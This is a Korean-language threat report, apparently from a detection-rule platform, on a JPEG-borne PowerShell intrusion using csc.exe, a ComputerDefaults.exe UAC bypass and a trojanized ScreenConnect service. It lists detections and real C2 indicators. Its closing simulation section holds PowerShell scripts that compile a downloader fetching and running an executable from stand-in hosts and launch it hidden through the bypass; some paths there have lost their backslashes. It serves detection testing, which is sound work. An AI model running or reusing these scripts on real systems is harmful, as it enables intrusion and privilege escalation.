작전 사일런트캔버스 : JPEG 기반 다단계 파워셸 침입
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Operation SilentCanvas는 악성 PowerShell 페이로드를 숨기기 위해 sysupdate.jpeg라는 이름의 JPEG 파일 내부에 숨겨진 정교한 다단계 침입입니다. sysupdate.jpeg. 이 페이로드는 맞춤형 런처를 검색하고 컴파일하며, 이는 csc.exe를 통해 구축되고, ComputerDefaults.exe 를 악용하여 파일 없는 UAC 우회를 수행하고, 지속적인 원격 접속을 유지하기 위해 OneDriveServers라는 이름의 트로이 목마화된 ConnectWise ScreenConnect 서비스를 설치합니다. OneDriveServers 악성 소프트웨어는 암호화된 채널을 통해 legitserver.theworkpc.com 서버로 포트 5443 and 8041를 통해 통신합니다. 또한 이 캠페인은 방어 무력화, 자격 증명 수집, 은밀한 감시에 대한 큰 강조를 보입니다.
조사
보고서는 JPEG 기반의 로더, 동적으로 컴파일된 uds.exe 바이너리 및 수정된 ScreenConnect 컴포넌트의 정적 및 동적 분석을 다룹니다. 연구자들은 AMSI 우회, 이미 설치된 바이너리 악용, 레지스트리 하이재킹, 암호화된 통신을 위한 맞춤형 키 파생을 포함한 여러 공격 기법을 식별했습니다. 인프라 분석은 legitserver.theworkpc.com 과 IP 주소 45.138.16.64사이의 하드코딩된 매핑을 밝혀냈습니다. 이 조사는 또한 상세한 피해자 프로파일링, 로컬 계정 조작 및 숨겨진 데스크톱 접근과 관련된 기능을 폭로했습니다.
완화
수비수는 합법적인 원격 모니터링 및 관리 도구에 대한 엄격한 허용 목록을 적용하고 실행을 제한하거나 면밀히 모니터링해야 하며, csc.exe, cvtres.exe의 실행을 제한하거나 면밀히 모니터링해야 합니다. ComputerDefaults.exe 모니터링은 또한 의심스러운 ms-settings 레지스트리 변경, PowerShell AMSI 우회 동작, 숨겨진 프로세스 생성 플래그, 및 이름을 포함한 무단 서비스 생성에도 중점을 두어야 합니다. OneDriveServers. 노출되었을 수 있는 모든 계정은 재설정해야 하며, 영향을 받는 시스템은 추가 악용을 방지하기 위해 빠르게 격리해야 합니다.
대응
관련 지표가 감지되면, 엔드포인트는 즉시 격리되어야 하며, 악성 uds.exe 프로세스 및 관련 PowerShell 활동은 종료되어야 하며, OneDriveServers 서비스는 호스트에서 제거되어야 합니다. 조사자는 명령 및 제어 인프라와 연결된 레지스트리 아티팩트, 서비스 바이너리 및 네트워크 원격 측정을 수집하여 더 깊이 있는 포렌식 검토를 수행해야 합니다. 모든 특권 자격 증명은 갱신되어야 하며, 수비수는 캠페인에 문서화된 기법과 관련된 횡적 이동 패턴을 모니터링해야 합니다.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes u2013 Actions action_initial_access["<b>Action</b> – <b>T1566 Phishing Attachment</b>: Email delivers malicious file <i>sysupdate.jpeg</i> masquerading as an image."] class action_initial_access action action_user_execution["<b>Action</b> – <b>T1204.002 User Execution</b> and <b>T1059.001 PowerShell</b>: Victim doubleu2011clicks the .jpeg which launches embedded PowerShell."] class action_user_execution action action_execution["<b>Action</b> – <b>T1562.001 Disable Security Tools</b> (AMSI bypass) and <b>T1027 Obfuscation</b>: PowerShell script evades detection and hides malicious logic."] class action_execution action action_dev_utility_abuse["<b>Action</b> – <b>T1127 Compile After Delivery</b> and <b>T1027.004 Obfuscated/Stored Files</b>: Script embeds C# source and compiles with <i>csc.exe</i> to create a custom launcher."] class action_dev_utility_abuse action action_priv_esc["<b>Action</b> – <b>T1548.002 Hijack Execution Flow</b> via <i>ms-settings</i> protocol and <b>T1218.002 Compiled HTML File</b> using <i>ComputerDefaults.exe</i> for a fileless UAC bypass."] class action_priv_esc action action_persistence["<b>Action</b> – <b>T1543.003 Windows Service</b> named <i>OneDriveServers</i> and <b>T1136.001 Local Account</b> creation of hidden admin accounts for longu2011term access."] class action_persistence action action_tool_hijack["<b>Action</b> – <b>T1553.002 Signed Binary Proxy Execution</b>: Deploys trojanized ConnectWise ScreenConnect binary abusing legitimate signed components."] class action_tool_hijack action action_credential_access["<b>Action</b> – <b>T1556.001 Credential API Hooking</b> and <b>T1056.001 Input Capture</b>: Installs Credential Provider hook and keylogger to harvest user credentials."] class action_credential_access action action_collection["<b>Action</b> – <b>T1113 Screen Capture</b>, <b>T1125 Video Capture</b>, <b>T1123 Audio Capture</b>, <b>T1115 Clipboard Data</b>: Gathers visual, audio and clipboard information."] class action_collection action action_discovery["<b>Action</b> – <b>T1518 Software Discovery</b>, <b>T1010 Application Window Discovery</b>, <b>T1082 System Information Discovery</b>: Enumerates installed software, AV products, system info and active windows."] class action_discovery action action_c2["<b>Action</b> – <b>T1573 Encrypted Channel</b>: Sets up encrypted C2 using PBKDF2/HMACu2011SHA256 keys and transfers additional tools via <b>T1105 Ingress Tool Transfer</b>."] class action_c2 action action_remote_execution["<b>Action</b> – <b>T1021 Remote Services</b>: Executes commands on the victim through the ScreenConnect framework."] class action_remote_execution action action_impact["<b>Action</b> – <b>T1529 System Shutdown/Reboot</b>: Can trigger a system reboot or safeu2011mode restart to disrupt the environment."] class action_impact action %% Nodes u2013 Tools / Processes tool_sysupdate_jpeg["<b>Tool</b> – <b>Name</b>: sysupdate.jpeg<br/><b>Type</b>: Malicious attachment disguised as image"] class tool_sysupdate_jpeg tool tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Type</b>: Scripting engine used for execution and obfuscation"] class tool_powershell tool tool_csc["<b>Tool</b> – <b>Name</b>: csc.exe<br/><b>Type</b>: C# compiler leveraged onu2011host"] class tool_csc tool process_computerdefaults["<b>Process</b> – <b>Name</b>: ComputerDefaults.exe<br/><b>Description</b>: Used as a proxy for fileless UAC bypass"] class process_computerdefaults process tool_screenconnect["<b>Tool</b> – <b>Name</b>: ConnectWise ScreenConnect<br/><b>Type</b>: Remoteu2011access software hijacked with malicious payload"] class tool_screenconnect tool malware_keylogger["<b>Malware</b> – <b>Name</b>: Custom Keylogger<br/><b>Purpose</b>: Capture keystrokes and credentials"] class malware_keylogger malware %% Connections u2013 Attack Flow action_initial_access –>|delivers| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|triggers| action_user_execution action_user_execution –>|executes| tool_powershell tool_powershell –>|performs| action_execution action_execution –>|uses| tool_csc tool_csc –>|creates| action_dev_utility_abuse action_dev_utility_abuse –>|produces launcher for| action_priv_esc action_priv_esc –>|invokes| process_computerdefaults process_computerdefaults –>|enables| action_persistence action_persistence –>|creates| action_tool_hijack action_tool_hijack –>|installs| tool_screenconnect tool_screenconnect –>|facilitates| action_credential_access action_credential_access –>|installs| malware_keylogger malware_keylogger –>|enables| action_collection action_collection –>|feeds data to| action_c2 action_c2 –>|supports| action_remote_execution action_remote_execution –>|uses| tool_screenconnect action_remote_execution –>|leads to| action_impact action_discovery –>|provides info for| action_c2 %% Styling class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "
공격 흐름
탐지
CMSTPLUA COM 인터페이스를 통한 잠재적 UAC 우회 [SafaPay 기법] (명령줄을 통해)
보기
가능한 안티바이러스 또는 방화벽 소프트웨어 나열 (프로세스 생성을 통해)
보기
대체 원격 접속 / 관리 소프트웨어 (프로세스 생성을 통해)
보기
PowerShell을 사용하여 의심되는 디렉토리로 압축 파일이 추출되었습니다 (via powershell)
보기
탐지용 IOCs (HashSha256): OPERATION SILENTCANVAS : JPEG 기반 다단계 POWERSHELL 침입
보기
탐지용 IOCs (SourceIP): OPERATION SILENTCANVAS : JPEG 기반 다단계 POWERSHELL 침입
보기
탐지용 IOCs (DestinationIP): OPERATION SILENTCANVAS : JPEG 기반 다단계 POWERSHELL 침입
보기
비표준 포트를 통한 공격자 인프라와의 암호화된 통신 [Windows 네트워크 연결]
보기
csc.exe와 ComputerDefaults.exe 남용을 통한 침입 탐지 [Windows 프로세스 생성]
보기
AMSI 우회를 통한 PowerShell 실행 [Windows Powershell]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre-flight Check가 통과되었어야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 서사는 식별된 TTP를 직접 반영해야 하며 탐지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것이 목표입니다. 추상적이거나 관련 없는 예는 오진으로 이어질 것입니다.
-
공격 서사 및 명령:
- 초기 발판: 공격자는 엔드포인트에서 낮은 권한의 PowerShell 세션을 확보합니다.
- 실시간 컴파일: 이미 사용 가능한
csc.exe을 사용하여 공격자는 C2 서버에서 두 번째 단계 페이로드를 가져오는 C# 다운로더를 컴파일합니다. 이 컴파일은 상위-하위 조건을 만족시키기 위해 PowerShell 프로세스에서 시작합니다. - 파일 없는 UAC 우회: 공격자는 새로 구축된 실행 파일을 통해
ComputerDefaults.exe를 실행하며, UAC 프롬프트를 표시하지 않고도 조용히 승격됩니다. - 승격 후 실행: 승격된 페이로드는 상대방에게 역셸을 설립합니다.
# 단계 1 - 악성 C# 소스 준비 (메모리 내) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # 단계 2 - csc.exe를 통한 컴파일 (상위 = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # 단계 3 - ComputerDefaults.exe를 사용하여 UAC 우회 트리거 (여전히 PowerShell의 하위) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
회귀 테스트 스크립트: (위의 단계들을 재현하는 독립적인 PowerShell 스크립트)
# ----------------------------------------------------------------- # 파일: trigger_csc_uac_bypass.ps1 # 목적: csc.exe + ComputerDefaults.exe 공격 체인을 시뮬레이션합니다 # ----------------------------------------------------------------- # TEMP 디렉토리에 악성 C# 소스 생성 $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # csc.exe를 사용한 컴파일 (이 PowerShell 프로세스는 상위가 됨) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # 무음 UAC 우회를 수행하기 위해 ComputerDefaults.exe를 통해 실행 $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
정리 명령어:
# 생성된 아티팩트 제거 Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # 테스트에서 시작된 남아 있는 프로세스들을 선택적으로 종료할 수 있음 Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force